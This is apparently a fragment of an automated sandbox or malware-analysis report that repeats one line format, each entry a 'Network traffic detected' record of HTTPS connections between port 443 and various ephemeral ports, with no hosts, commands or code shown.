Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 50280 |
Source: unknown | Network traffic detected: HTTP traffic on port 33984 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 56426 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40266 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41598 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41114 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45954 |
Source: unknown | Network traffic detected: HTTP traffic on port 44958 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42686 |
Source: unknown | Network traffic detected: HTTP traffic on port 36122 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 37574 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56822 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 54642 |
Source: unknown | Network traffic detected: HTTP traffic on port 46924 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 40162 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 52286 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 59272 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40012 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41346 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41342 |
Source: unknown | Network traffic detected: HTTP traffic on port 55124 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41102 |
Source: unknown | Network traffic detected: HTTP traffic on port 57716 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 58738 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59708 |
Source: unknown | Network traffic detected: HTTP traffic on port 34112 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 41182 |
Source: unknown | Network traffic detected: HTTP traffic on port 35220 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 35696 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 32974 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 45040 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 38286 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 57562 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 33560 |
Source: unknown | Network traffic detected: HTTP traffic on port 33858 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 59422 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 48804 |
Source: unknown | Network traffic detected: HTTP traffic on port 48936 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 37276 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45530 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42260 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 59712 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35962 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35720 |
Source: unknown | Network traffic detected: HTTP traffic on port 40302 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34640 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 56454 |
Source: unknown | Network traffic detected: HTTP traffic on port 44928 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58870 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60946 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 42012 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 60700 |
Source: unknown | Network traffic detected: HTTP traffic on port 41182 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49494 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 34626 |
Source: unknown | Network traffic detected: HTTP traffic on port 47342 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35956 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55124 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57544 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57788 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35960 |